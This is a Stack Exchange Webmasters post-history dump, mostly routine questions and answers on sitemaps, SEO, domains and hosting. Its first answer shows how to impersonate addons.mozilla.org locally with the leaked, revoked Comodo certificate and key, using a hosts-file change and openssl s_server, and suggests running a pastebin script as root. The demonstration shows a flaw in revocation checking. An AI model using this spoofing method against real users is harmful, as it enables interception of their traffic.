  <row Id="26914" PostHistoryTypeId="2" PostId="11823" RevisionGUID="fd2506f9-46ed-41b0-a6de-59fe3c1ab5ce" CreationDate="2011-04-07T20:37:24.953" UserId="6597" Text="The revoked certificate of Mozilla Addons and its corresponding keyfiles are available in the wild. So you could test it yourself. For this experiment, you need to point the `addons.mozilla.org` domain to the IP address of your test server.&#xD;&#xA;&#xD;&#xA;The private key file is 27 lines long and can be found at http://erratasec.blogspot.com/2011/03/verifying-comodo-hackers-key.html. The certifate can be downloaded from http://www.multiupload.com/J9I8NFWPT0.&#xD;&#xA;&#xD;&#xA;If you're running a server on your local machine (localhost), change the hosts file, so `addons.mozilla.org` points to `127.0.0.1`. Use the key and certificate files above for your server.&#xD;&#xA;&#xD;&#xA;Instructions using the `openssl` command on Ubuntu/Linux:&#xD;&#xA;&#xD;&#xA;1. Put the keyfile in `moz.pem` and the certificate in `moz.crt`.&#xD;&#xA;2. Add `127.0.0.1 addons.mozilla.org` to `/etc/hosts`&#xD;&#xA;3. Start a HTTPS server using the `openssl s_server` command:&#xD;&#xA;&#xD;&#xA;        sudo openssl s_server -cert moz.crt -key moz.pem -accept 443 -www&#xD;&#xA;4. Go to your browser and take screenshots, copy text, etc.&#xD;&#xA;5. When done, remove the entry from `/etc/hosts`.&#xD;&#xA;&#xD;&#xA;The next screenshots below are taken on Ubuntu 10.10 in Mozilla Firefox (without the patch) using the above instructions.&#xD;&#xA;&#xD;&#xA;Firefox with CRL's enabled gives a warning:&#xD;&#xA;![Firefox rejects the certificate using CRL's][1]&#xD;&#xA;&#xD;&#xA;Opening Firefox with CRL checking disabled to simulate an unreachable CRL server opens the page without a gasp:&#xD;&#xA;![Firefox opens the page successfully without error messages][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/SFctu.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/EpdEJ.png" />
  <row Id="26916" PostHistoryTypeId="5" PostId="11823" RevisionGUID="45b5647d-311e-4bf5-9f7d-ca1a98532cbe" CreationDate="2011-04-07T21:04:25.623" UserId="6597" Comment="added 175 characters in body" Text="The revoked certificate of Mozilla Addons and its corresponding keyfiles are available in the wild. So you could test it yourself. For this experiment, you need to point the `addons.mozilla.org` domain to the IP address of your test server.&#xD;&#xA;&#xD;&#xA;The private key file is 27 lines long and can be found at http://erratasec.blogspot.com/2011/03/verifying-comodo-hackers-key.html. The certifate can be downloaded from http://www.multiupload.com/J9I8NFWPT0.&#xD;&#xA;&#xD;&#xA;If you're running a server on your local machine (localhost), change the hosts file, so `addons.mozilla.org` points to `127.0.0.1`. Use the key and certificate files above for your server.&#xD;&#xA;&#xD;&#xA;Instructions using the `openssl` command on Ubuntu/Linux:&#xD;&#xA;&#xD;&#xA;1. Put the keyfile in `moz.pem` and the certificate in `moz.crt`.&#xD;&#xA;2. Add `127.0.0.1 addons.mozilla.org` to `/etc/hosts`&#xD;&#xA;3. Start a HTTPS server using the `openssl s_server` command:&#xD;&#xA;&#xD;&#xA;        sudo openssl s_server -cert moz.crt -key moz.pem -accept 443 -www&#xD;&#xA;4. Go to your browser and take screenshots, copy text, etc.&#xD;&#xA;5. When done, remove the entry from `/etc/hosts`.&#xD;&#xA;&#xD;&#xA;An (tested) Linux shell script can be found at http://pastebin.com/DRE32SFR. Download it and execute it as root (required for binding to port 443 and editing `/etc/hosts`)&#xD;&#xA;&#xD;&#xA;The next screenshots below are taken on Ubuntu 10.10 in Mozilla Firefox (without the patch) using the above instructions.&#xD;&#xA;&#xD;&#xA;Firefox with CRL's enabled gives a warning:&#xD;&#xA;![Firefox rejects the certificate using CRL's][1]&#xD;&#xA;&#xD;&#xA;Opening Firefox with CRL checking disabled to simulate an unreachable CRL server opens the page without a gasp:&#xD;&#xA;![Firefox opens the page successfully without error messages][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/SFctu.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/EpdEJ.png" />
  <row Id="26917" PostHistoryTypeId="5" PostId="11342" RevisionGUID="43b95292-1968-4a70-8427-5280c563d5eb" CreationDate="2011-04-07T21:04:48.117" UserId="2490" Comment="deleted 3 characters in body" Text="[Arvixe][1] is very good. Many options, good service, I'm pleased.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-3-3-3.html" />
  <row Id="26918" PostHistoryTypeId="25" PostId="11820" RevisionGUID="6900063b-bd9c-44a5-b819-d9df51313173" CreationDate="2011-04-07T21:09:02.810" Comment="http://twitter.com/#!/StackWebmasters/status/56101199048491009" />
  <row Id="26919" PostHistoryTypeId="2" PostId="11825" RevisionGUID="852888b3-8960-40e9-b43c-bb234d2281d2" CreationDate="2011-04-07T21:26:32.643" UserId="5464" Text="If you are using windows try IIS SEO toolkit [IISSEO][1] you can tell it to crawl your site and it stores all the data in a SQL database so you can then slice the data how you please it also gives some hints as to potential problems your site has. Also export to CSV. &#xD;&#xA;&#xD;&#xA;I use Xenu also to cross check any URL changes after they are made you dont want any broken 301's. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.iis.net/download/seotoolkit" />
  <row Id="26920" PostHistoryTypeId="2" PostId="11826" RevisionGUID="7f18d1b4-7232-4bad-a167-e8ac8d150a40" CreationDate="2011-04-07T21:48:50.073" UserId="5464" Text="I have been arguing a point and would like a second opinion. The basic point of contention is as follows:&#xD;&#xA;&#xD;&#xA;We have a site X with a sitemap index file located at: &#xD;&#xA;&#xD;&#xA;_http://www.x.co.uk/sitemap.xml_ &#xD;&#xA;&#xD;&#xA;This file lists a number of site maps and the structure for the location of the site maps is: &#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;      &lt;sitemapindex xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt;&#xD;&#xA;       &lt;sitemap&gt;&#xD;&#xA;         &lt;loc&gt;http://www.x.co.uk/sitemap/date/0.xml&lt;/loc&gt;&#xD;&#xA;         &lt;lastmod&gt;2011-04-07&lt;/lastmod&gt;&#xD;&#xA;       &lt;/sitemap&gt;&#xD;&#xA;       &lt;sitemap&gt;&#xD;&#xA;         &lt;loc&gt;http://www.x.co.uk/sitemap/date/1.xml&lt;/loc&gt;&#xD;&#xA;         &lt;lastmod&gt;2011-04-07&lt;/lastmod&gt;&#xD;&#xA;       &lt;/sitemap&gt;&#xD;&#xA;      &lt;/sitemapindex&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As far as i understand things search engines will except this just fine and it will not cause any issues. &#xD;&#xA;&#xD;&#xA;However the problem being raise is this, because the actual site XML sits under a directory structure like _/sitemap/date/_ search engines will not include the URLS. My opinion is that this is incorrect. If anyone can clarify that would be great i have read the documentation on &lt;a href=&quot;http://sitemaps.org/protocol.php&quot;&gt;Sitemaps Protocol&lt;/a&gt; and would welcome any further articles that could be of use. " />
  <row Id="26921" PostHistoryTypeId="1" PostId="11826" RevisionGUID="7f18d1b4-7232-4bad-a167-e8ac8d150a40" CreationDate="2011-04-07T21:48:50.073" UserId="5464" Text="xml sitemap structure" />
  <row Id="26922" PostHistoryTypeId="3" PostId="11826" RevisionGUID="7f18d1b4-7232-4bad-a167-e8ac8d150a40" CreationDate="2011-04-07T21:48:50.073" UserId="5464" Text="&lt;seo&gt;&lt;sitemap&gt;&lt;xml&gt;" />
  <row Id="26923" PostHistoryTypeId="2" PostId="11827" RevisionGUID="aa7a8718-5bad-4597-9a92-ee9771c65940" CreationDate="2011-04-07T22:19:22.533" UserId="4461" Text="Having just done the same thing (placing the referenced sitemap files in a different sub-folder) I can confirm this works fine with no issues.&#xD;&#xA;&#xD;&#xA; - The XML Sitemap index file *doesn't* have to be in the root of the site, but it is preferable (for convention)&#xD;&#xA; - The Sitemaps referenced by the index file *don't* have to be in the root of the site folder either&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26924" PostHistoryTypeId="2" PostId="11828" RevisionGUID="2123e629-6a0e-48a7-be8e-763b4b7e73e0" CreationDate="2011-04-07T22:29:08.327" UserId="6467" Text="I assume you have a robots.txt file and have specified where the sitemaps are.  Remember there are many smaller search engines out there. We don't want to make it hard for them. Someday they may be very important. " />
  <row Id="26929" PostHistoryTypeId="17" PostId="11832" RevisionGUID="78970507-3765-448c-b32b-a0b2ef1d6501" CreationDate="2011-04-07T23:26:42.823" UserId="-1" Comment="from http://stackoverflow.com/questions/5579741/installation-of-website-godaddy-server/5581091#5581091" Text="" />
  <row Id="26930" PostHistoryTypeId="2" PostId="11832" RevisionGUID="dfce65f3-d303-4931-80fc-c23608fad64f" CreationDate="2011-04-07T12:34:50.810" UserId="3592" Text="[Here's a relevant article in GoDaddy's knowledgebase.](http://help.godaddy.com/article/1091#non4GH)" />
  <row Id="26931" PostHistoryTypeId="2" PostId="11831" RevisionGUID="be6c52b9-bb0d-411c-aad1-6bf5860a47ce" CreationDate="2011-04-07T10:38:06.970" UserDisplayName="Durga Dutt" Text="I have a website in rails. I have to upload it on `Godaddy` Server. How can i upload this. I don't know about rails" />
  <row Id="26932" PostHistoryTypeId="1" PostId="11831" RevisionGUID="be6c52b9-bb0d-411c-aad1-6bf5860a47ce" CreationDate="2011-04-07T10:38:06.970" UserDisplayName="Durga Dutt" Text="INstallation of website godaddy server" />
  <row Id="26933" PostHistoryTypeId="3" PostId="11831" RevisionGUID="be6c52b9-bb0d-411c-aad1-6bf5860a47ce" CreationDate="2011-04-07T10:38:06.970" UserDisplayName="Durga Dutt" Text="&lt;ruby-on-rails&gt;" />
  <row Id="26934" PostHistoryTypeId="17" PostId="11831" RevisionGUID="4f13af51-a681-42b5-810b-8cd43e2ffb7d" CreationDate="2011-04-07T23:26:42.823" UserId="-1" Comment="from http://stackoverflow.com/questions/5579741/installation-of-website-godaddy-server" Text="" />
  <row Id="26935" PostHistoryTypeId="25" PostId="11826" RevisionGUID="9974d939-81e3-450d-bd40-48c353fd50c6" CreationDate="2011-04-08T00:09:02.553" Comment="http://twitter.com/#!/StackWebmasters/status/56146497141620736" />
  <row Id="26936" PostHistoryTypeId="2" PostId="11833" RevisionGUID="cea82855-6eba-495b-914f-fea90bf0f556" CreationDate="2011-04-08T00:20:04.247" UserId="6671" Text="Is anyone aware of a way to use APC on a 1and1 shared hosting account? They don't have the pecl extension installed by default." />
  <row Id="26937" PostHistoryTypeId="1" PostId="11833" RevisionGUID="cea82855-6eba-495b-914f-fea90bf0f556" CreationDate="2011-04-08T00:20:04.247" UserId="6671" Text="APC on 1and1 shared hosting?" />
  <row Id="26938" PostHistoryTypeId="3" PostId="11833" RevisionGUID="cea82855-6eba-495b-914f-fea90bf0f556" CreationDate="2011-04-08T00:20:04.247" UserId="6671" Text="&lt;php&gt;&lt;1and1&gt;" />
  <row Id="26939" PostHistoryTypeId="2" PostId="11834" RevisionGUID="3f302c80-97f1-452f-ae96-c6b0edec221c" CreationDate="2011-04-08T00:33:10.650" UserId="1253" Text="I doubt they will allow you to install or use APC on shared hosting as it will affect every site on the server which would be a potentially bad thing if it causes a conflict or incompatibility with someone's code. If you want to use APC or something that's not generally offered on shared hosting you'll need either a VPS or dedicate server." />
  <row Id="26940" PostHistoryTypeId="2" PostId="11835" RevisionGUID="be6e1b1d-2ce5-4197-9a49-7460602b52bc" CreationDate="2011-04-08T01:49:57.967" UserId="6265" Text="I added a google custom search to my website several weeks ago, and it has been unable to find anything other than the home page of my site.&#xD;&#xA;&#xD;&#xA;I have manually submitted a sitemap to the custom search, and to the webmaster tools (which for some the custom search can't find, but it says I should add one).&#xD;&#xA;&#xD;&#xA;I understand there are not a lot of details here, but I don't have much to go on. I've double checked my robots.txt, there's nothing there that's preventing the indexing of my pages.&#xD;&#xA;&#xD;&#xA;My site his http://www.cheapgamesinfo.com, if you want to look at it and see if there's something obvious I'm doing wrong." />
  <row Id="26941" PostHistoryTypeId="1" PostId="11835" RevisionGUID="be6e1b1d-2ce5-4197-9a49-7460602b52bc" CreationDate="2011-04-08T01:49:57.967" UserId="6265" Text="Google custom search can't find anything other than the main page" />
  <row Id="26942" PostHistoryTypeId="3" PostId="11835" RevisionGUID="be6e1b1d-2ce5-4197-9a49-7460602b52bc" CreationDate="2011-04-08T01:49:57.967" UserId="6265" Text="&lt;google-search&gt;" />
  <row Id="26943" PostHistoryTypeId="5" PostId="11835" RevisionGUID="5446b87e-4bae-4126-b905-f6c1823e638e" CreationDate="2011-04-08T02:02:10.883" UserId="6265" Comment="added 490 characters in body" Text="I added a google custom search to my website several weeks ago, and it has been unable to find anything other than the home page of my site.&#xD;&#xA;&#xD;&#xA;I have manually submitted a sitemap to the custom search, and to the webmaster tools (which for some the custom search can't find, but it says I should add one).&#xD;&#xA;&#xD;&#xA;I understand there are not a lot of details here, but I don't have much to go on. I've double checked my robots.txt, there's nothing there that's preventing the indexing of my pages.&#xD;&#xA;&#xD;&#xA;My site his http://www.cheapgamesinfo.com, if you want to look at it and see if there's something obvious I'm doing wrong.&#xD;&#xA;&#xD;&#xA;EDIT: Actually, does the google custom search work any differently than a regular google search? I assumed that it indexed separate from the regular google search, but I guess it's possible that both a google custom search and the normal google search draw from the same pool of pages. In that case the only way to get custom search to find my pages is to get Google to crawl them...which pretty much makes the custom search useless if it can't find the most recent things I've posted. " />
  <row Id="26944" PostHistoryTypeId="25" PostId="11835" RevisionGUID="0349f5e9-577a-4ad9-a884-62f38d97cd24" CreationDate="2011-04-08T03:09:03.277" Comment="http://twitter.com/#!/StackWebmasters/status/56191797310922752" />
  <row Id="26952" PostHistoryTypeId="2" PostId="11839" RevisionGUID="72e25523-c9d7-4112-b324-666b7f9f3a9e" CreationDate="2011-04-08T03:52:32.463" UserId="3574" Text="also FreeSitemapGenerator is nice, though it can be slow if you have thousands of pages." />
  <row Id="26956" PostHistoryTypeId="2" PostId="11841" RevisionGUID="65298d4b-076b-4444-992f-a17618b16fe4" CreationDate="2011-04-08T05:04:46.283" UserId="6524" Text="Make sure that you are the verified owner of your site on http://www.google.com/webmasters/ and that there is a site map uploaded there as well.&#xD;&#xA;&#xD;&#xA;On the Custom Search control panel go under indexing and make sure that your sitemap is linked there and then click index now. &#xD;&#xA;&#xD;&#xA;Looking at your sitemap.xml you don't specify a schema definition. Google may be looking for this to ensure that your xml is formatted correctly. You specify the schema by modifying your `&lt;urlset&gt;` tag in the following way:&#xD;&#xA;&#xD;&#xA;    &lt;urlset xsi:schemaLocation=&quot;http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd&quot;&gt;&#xD;&#xA;&#xD;&#xA;Google custom searches do not add to the Main Google index and the main index doesn't apply to the custom search. They both crawl the site though, and the more changes to the site the more frequently they crawl for new content. I can't guarantee that any of this will fix the indexing issues but it can't hurt." />
  <row Id="26957" PostHistoryTypeId="25" PostId="11772" RevisionGUID="cd2d3f3d-4f27-4caa-9f86-d6ed4afde156" CreationDate="2011-04-08T06:09:02.757" Comment="http://twitter.com/#!/StackWebmasters/status/56237094103818240" />
  <row Id="26958" PostHistoryTypeId="2" PostId="11842" RevisionGUID="74ee54b5-44cf-4335-b84e-df7aa8c9777c" CreationDate="2011-04-08T07:16:15.063" UserId="3622" Text="    Does it affect site ranks on search engines?&#xD;&#xA;&#xD;&#xA;&lt;p&gt;No, unless your target keywords are digits like 2, 8 or 100. But who use that keywords anyway?&#xD;&#xA;&#xD;&#xA;    Do you think people will be less likely to visit it?&#xD;&#xA;&#xD;&#xA;Short answer is no, unless the URL is packed with random digits. That being said, depending on what kind languages your web site is for, some languages have very intriguing properties. In Chinese, 8 is a very good number, equals prosperity, and 51 means I want, that is why in   artlung's list there are 58.com, 51job.com. In Chinese, those are very good name. BTW 630 means something even in other langues, does not it?&#xD;&#xA;&#xD;&#xA;    Is this just a programmer response, since most variable names can't start with a digit?&#xD;&#xA;Negative, as far as I know. &#xD;&#xA;" />
  <row Id="26959" PostHistoryTypeId="2" PostId="11843" RevisionGUID="fc23cf28-ea7e-4992-b020-1793667f01bb" CreationDate="2011-04-08T07:52:03.487" UserId="1643" Text="I agree it's overkill. If this domain were to really take off and become popular, so that other people might want to set up their own websites with the same name and one of the extensions (technically called top level domains or TLDs), then that would be a problem. Is that likely though?" />
  <row Id="26962" PostHistoryTypeId="2" PostId="11846" RevisionGUID="3c9404d4-472b-4762-b030-692c4ea190ce" CreationDate="2011-04-08T08:19:22.497" UserId="5727" Text="Buy the .com, .net, .org and perhaps a country specific tld such as .co.uk if he is UK based.  There's really no need for any more.&#xD;&#xA;&#xD;&#xA;I don't have any academic research to show you why you don't really need the others, but a good question to ask is when have you ever visited a domain, or typed in a domain into your address bar with a .tv or .mobi address?  I've never done it.&#xD;&#xA;&#xD;&#xA;If he has spare money, buy them up, they are cheap, it's not worth spending a lot of time debating it for the sake of $50.  If money is tighter, then stick to the main 3.  Com and Net are the most valuable." />
  <row Id="26963" PostHistoryTypeId="2" PostId="11847" RevisionGUID="027d1414-d0df-4d3c-99b5-014c16825935" CreationDate="2011-04-08T08:21:27.097" UserId="5727" Text="I put mine in a directory structure as I please, but URL rewrite them to exist on the root.  I don't think it matters much as long as robots.txt points to the correct absolute location." />
  <row Id="26964" PostHistoryTypeId="2" PostId="11848" RevisionGUID="1025e953-1dbd-4d53-9dc7-1dc48c24290e" CreationDate="2011-04-08T08:54:37.303" UserId="3659" Text="I run a website that available in Dutch and English. Each 'language version' has its own blog and related [RSS][1] feed. I want to publish these RSS feeds through [Feedburner][2]. Obviously I would like to have the Feedburner UI for the Dutch readers in Dutch and the English speaker readers in English.&#xD;&#xA;&#xD;&#xA;Does anybody know how to manage multiple feeds with multiple languages in Feedburner.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/RSS&#xD;&#xA;  [2]: http://www.feedburner.com" />
  <row Id="26965" PostHistoryTypeId="1" PostId="11848" RevisionGUID="1025e953-1dbd-4d53-9dc7-1dc48c24290e" CreationDate="2011-04-08T08:54:37.303" UserId="3659" Text="Feedburner - Multiple feeds in multiple languages" />
  <row Id="26966" PostHistoryTypeId="3" PostId="11848" RevisionGUID="1025e953-1dbd-4d53-9dc7-1dc48c24290e" CreationDate="2011-04-08T08:54:37.303" UserId="3659" Text="&lt;rss&gt;&lt;feeds&gt;" />
  <row Id="26968" PostHistoryTypeId="2" PostId="11849" RevisionGUID="3b3e720d-acbb-46fd-92bc-94172518dda9" CreationDate="2011-04-08T09:47:23.390" UserId="6681" Text="What are the gotchas to optimizing SEO for a domain on an exotic TLD (in my case, .st)?&#xD;&#xA;&#xD;&#xA;For example, should I tell Google the actual geographic target of the website?" />
  <row Id="26969" PostHistoryTypeId="1" PostId="11849" RevisionGUID="3b3e720d-acbb-46fd-92bc-94172518dda9" CreationDate="2011-04-08T09:47:23.390" UserId="6681" Text="How do I optimize SEO for a domain with an &quot;exotic&quot; (.st) TLD?" />
  <row Id="26970" PostHistoryTypeId="3" PostId="11849" RevisionGUID="3b3e720d-acbb-46fd-92bc-94172518dda9" CreationDate="2011-04-08T09:47:23.390" UserId="6681" Text="&lt;seo&gt;" />
  <row Id="26971" PostHistoryTypeId="2" PostId="11850" RevisionGUID="ecafb31d-ce38-4a7a-b012-07db7bca7e3f" CreationDate="2011-04-08T10:54:18.703" UserId="1426" Text="Yes, it would be worth telling Google which country the site is targetting. You can do this via. Webmaster Tools. Other than that, extension makes no difference, so do your SEO like you would for any other site." />
  <row Id="26972" PostHistoryTypeId="2" PostId="11851" RevisionGUID="d2f77745-5242-4945-8151-74d30dfe8137" CreationDate="2011-04-08T11:02:29.797" UserId="4514" Text="I have created my web project in Symfony 1.4 with ORM Propel. I have bought a VPS server to host my project, I have two project to host with url http://m.y.i.p:8080 and http://m.y.i.p:8081. i.e on the same server with different port. i am not getting any documentation to do so, please help." />
  <row Id="26973" PostHistoryTypeId="1" PostId="11851" RevisionGUID="d2f77745-5242-4945-8151-74d30dfe8137" CreationDate="2011-04-08T11:02:29.797" UserId="4514" Text="How to deploy a Symfony project on VPS server" />
  <row Id="26974" PostHistoryTypeId="3" PostId="11851" RevisionGUID="d2f77745-5242-4945-8151-74d30dfe8137" CreationDate="2011-04-08T11:02:29.797" UserId="4514" Text="&lt;php&gt;&lt;site-deployment&gt;" />
  <row Id="26975" PostHistoryTypeId="5" PostId="11751" RevisionGUID="82f38edb-43e3-4b93-919c-60b9d84dec76" CreationDate="2011-04-08T11:27:38.163" UserId="6630" Comment="deleted 1 characters in body" Text="I have facecook like button plugin on my vanilla forum.&#xD;&#xA;Although I added &#xD;&#xA;&#xD;&#xA;    &lt;script src=&quot;http://connect.facebook.net/tr_TR/all.js#xfbml=1&quot;&gt;&#xD;&#xA;&#xD;&#xA; into my button code, it does not show the button in Turkish.&#xD;&#xA;&#xD;&#xA;here is an example topic that you can see facebook button on my forum : http://www.herkesuzman.com/discussion/17/projeksiyona-baglaninca-ekran-coezuenuerlueguenuen-bozulmasis" />
  <row Id="26976" PostHistoryTypeId="2" PostId="11852" RevisionGUID="fa70b099-fc53-4849-a199-1b019e77c2df" CreationDate="2011-04-08T11:33:21.180" UserId="5588" Text="I'm not very savvy with domain names.&#xD;&#xA;&#xD;&#xA;Basically I have a dedicated Windows hosting server for a web application that is located at a location like this:&#xD;&#xA;&#xD;&#xA;123.234.345.456/script.aspx&#xD;&#xA;&#xD;&#xA;I need to map a domain name to this location. Don't ask why I can't just map it straight to the ip address - I didn't create the application and the index page isn't in use. I just have to map it to the specific script.&#xD;&#xA;&#xD;&#xA;How would I do this using A records? (or MX records, or CNAME or SPF - those are the options I have). I don't have any nameservers.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;Tom&#xD;&#xA;" />
  <row Id="26977" PostHistoryTypeId="1" PostId="11852" RevisionGUID="fa70b099-fc53-4849-a199-1b019e77c2df" CreationDate="2011-04-08T11:33:21.180" UserId="5588" Text="Domain name record with a /somethinghere.aspx" />
  <row Id="26978" PostHistoryTypeId="3" PostId="11852" RevisionGUID="fa70b099-fc53-4849-a199-1b019e77c2df" CreationDate="2011-04-08T11:33:21.180" UserId="5588" Text="&lt;domains&gt;&lt;domain-names&gt;" />
  <row Id="26979" PostHistoryTypeId="5" PostId="11849" RevisionGUID="2f16098e-379c-491a-8bfe-0c8d3e29a9af" CreationDate="2011-04-08T11:33:40.470" UserId="6681" Comment="added 161 characters in body; edited tags" Text="What are the gotchas to optimizing SEO for a domain on an exotic TLD (in my case, .st)?&#xD;&#xA;&#xD;&#xA;For example, should I tell Google the actual geographic target of the website?&#xD;&#xA;&#xD;&#xA;One more thing: I want to rank well on my domain name concatenated with my TLD (like instagr.am ranking for &quot;instagram&quot;, for example). Any way I can do that?" />
  <row Id="26980" PostHistoryTypeId="6" PostId="11849" RevisionGUID="2f16098e-379c-491a-8bfe-0c8d3e29a9af" CreationDate="2011-04-08T11:33:40.470" UserId="6681" Comment="added 161 characters in body; edited tags" Text="&lt;seo&gt;&lt;domains&gt;&lt;domain-names&gt;&lt;top-level-domains&gt;" />
  <row Id="26981" PostHistoryTypeId="2" PostId="11853" RevisionGUID="c7e6a9ad-651d-4c6b-8a77-4fb9f61f54d6" CreationDate="2011-04-08T11:52:25.803" UserId="6682" Text="There is upload function on filetram.com and i want to know measure of upload speed from my pc to filetram. Also i want to know the download speed...Does it depend from type of your account(premium or non-premium)?&#xD;&#xA;Many thanks" />
  <row Id="26982" PostHistoryTypeId="1" PostId="11853" RevisionGUID="c7e6a9ad-651d-4c6b-8a77-4fb9f61f54d6" CreationDate="2011-04-08T11:52:25.803" UserId="6682" Text="How to measure the download and upload speed from my PC to Filetram?" />
  <row Id="26983" PostHistoryTypeId="3" PostId="11853" RevisionGUID="c7e6a9ad-651d-4c6b-8a77-4fb9f61f54d6" CreationDate="2011-04-08T11:52:25.803" UserId="6682" Text="&lt;search-engines&gt;&lt;uploading&gt;&lt;download&gt;" />
  <row Id="26984" PostHistoryTypeId="2" PostId="11854" RevisionGUID="e0fa8d03-5ae5-4b36-8747-4dc0080b1665" CreationDate="2011-04-08T12:08:01.697" UserId="3312" Text="Whatever is causing this, you can use a free 'site monitoring' service such as [Alertfox][1] for this - it will request a page from your site every x minutes, keeping everything 'spun-up'.&#xD;&#xA;&#xD;&#xA;Might also be worth asking Rackspace if they know of any reason why this should be happening.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://alertfox.com" />
  <row Id="26985" PostHistoryTypeId="25" PostId="11851" RevisionGUID="2efa53e5-235e-4c35-b064-631e3aafec23" CreationDate="2011-04-08T12:09:03.410" Comment="http://twitter.com/#!/StackWebmasters/status/56327693674885120" />
  <row Id="26986" PostHistoryTypeId="5" PostId="11537" RevisionGUID="e17a7f44-d14b-4293-87f3-b4b3ddec8d3c" CreationDate="2011-04-08T12:20:05.827" UserId="6515" Comment="added 92 characters in body" Text="IMO, Google will show the preferred domain in the results if it determines that `http://mydomain.com/foo` is same as `http://www.mydomain.com`. Google crawls both version of your website. So, if it has crawled `http://mydomain.com/bar` but not `http://www.mydomain.com/bar`, it might show `http://mydomain.com/bar` until the time it concludes that both pages are same.&#xD;&#xA;&#xD;&#xA;Nevertheless, this will still confuse other search engines that do not let you set a preferred domain. Best cross-search-engine solution is to implement a 301 Permanent Redirect for your website that tells browsers and bots the correct location of a page. With 301 Redirect, the bot will not index the wrong version of the page, and, in case of Google, the page rank is carried over to the redirected page. &#xD;&#xA;&#xD;&#xA;I've [explained how to setup 301 redirects][1] on my blog (it's a relatively long article covering multiple platforms).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://911-need-code-help.blogspot.com/2011/03/redirecting-visitors-to-preferred.html" />
  <row Id="26987" PostHistoryTypeId="2" PostId="11855" RevisionGUID="55ce8916-e561-4cb7-bc41-6b57245576b6" CreationDate="2011-04-08T12:38:03.587" UserId="43" Text="&gt; One more thing: I want to rank well on my domain name concatenated with my TLD (like instagr.am ranking for &quot;instagram&quot;, for example). Any way I can do that?&#xD;&#xA;&#xD;&#xA;You can do that just like you'd do things to rank for any other word or phrase. I doubt your domain name will help you rank for it, but everything else will (title tag, headings, keyword usage, anchor text used by other sites linking to you, etc.)." />
  <row Id="26989" PostHistoryTypeId="6" PostId="10104" RevisionGUID="1aec6b0a-ed22-48a2-9ee5-6c71c9b637f6" CreationDate="2011-04-08T13:09:21.077" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;looking-for-a-script&gt;&lt;shopping-cart&gt;&lt;photo-gallery&gt;&lt;software&gt;" />
  <row Id="26991" PostHistoryTypeId="5" PostId="11853" RevisionGUID="e441524b-7bff-4fea-b894-2d4cc773aea9" CreationDate="2011-04-08T13:12:03.990" UserId="1064" Comment="Removed references to filetram.com" Text="There is an upload function on a website and I want to measure the upload and download speeds from my PC to the website." />
  <row Id="26992" PostHistoryTypeId="4" PostId="11853" RevisionGUID="e441524b-7bff-4fea-b894-2d4cc773aea9" CreationDate="2011-04-08T13:12:03.990" UserId="1064" Comment="Removed references to filetram.com" Text="How to measure the download and upload speed from my PC to a website?" />
  <row Id="26993" PostHistoryTypeId="6" PostId="11853" RevisionGUID="e441524b-7bff-4fea-b894-2d4cc773aea9" CreationDate="2011-04-08T13:12:03.990" UserId="1064" Comment="Removed references to filetram.com" Text="&lt;uploading&gt;&lt;download&gt;" />
  <row Id="26994" PostHistoryTypeId="2" PostId="11857" RevisionGUID="fd64ac34-574e-4980-a7eb-4c0637d3e5b1" CreationDate="2011-04-08T13:14:46.137" UserId="1803" Text="This depends on your needs. Do you need to include media - if yes which ones, do you need additinal plugins…&#xD;&#xA;Here is a quick comparison of some JavaScript WYSIWYG-editors: http://blog.eike.se/2009/04/comparison-of-major-open-source.html" />
  <row Id="26995" PostHistoryTypeId="16" PostId="11182" RevisionGUID="f56d8fad-3387-4d5c-947f-f3cbd22effad" CreationDate="2011-04-08T13:18:55.983" UserId="1253" />
  <row Id="27000" PostHistoryTypeId="17" PostId="11859" RevisionGUID="a7e2a85b-ac42-4db4-8b4a-c78a3b28e9bb" CreationDate="2011-04-08T13:23:57.543" UserId="-1" Comment="from http://serverfault.com/questions/257258/mod-rewrite-rewriting-http-something-app-example-com-to-http-www-example-c/257261#257261" Text="" />
  <row Id="27001" PostHistoryTypeId="2" PostId="11859" RevisionGUID="35b8f786-7be3-4f6c-b20a-c2558f44e56b" CreationDate="2011-04-08T09:09:15.403" UserDisplayName="TiZon" Text="You need to set a DNS-record for `*.app.example.com.` to redirect to the IP of the server. I think in your case that will be the same as the one `app.example.com.`is pointing to.&#xD;&#xA;&#xD;&#xA;**Edit**:&#xD;&#xA;I think one of these should do the trick (normally both):&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^app\.example\.com&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^([^.]+)&#xD;&#xA;    RewriteRule ^(.*) /app/%1/$1 [L]&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^([^.]+)\.app\.example\.com$&#xD;&#xA;    RewriteRule ^/(.*)$           http://www.example.com/app/%1/$1 [L,R]" />
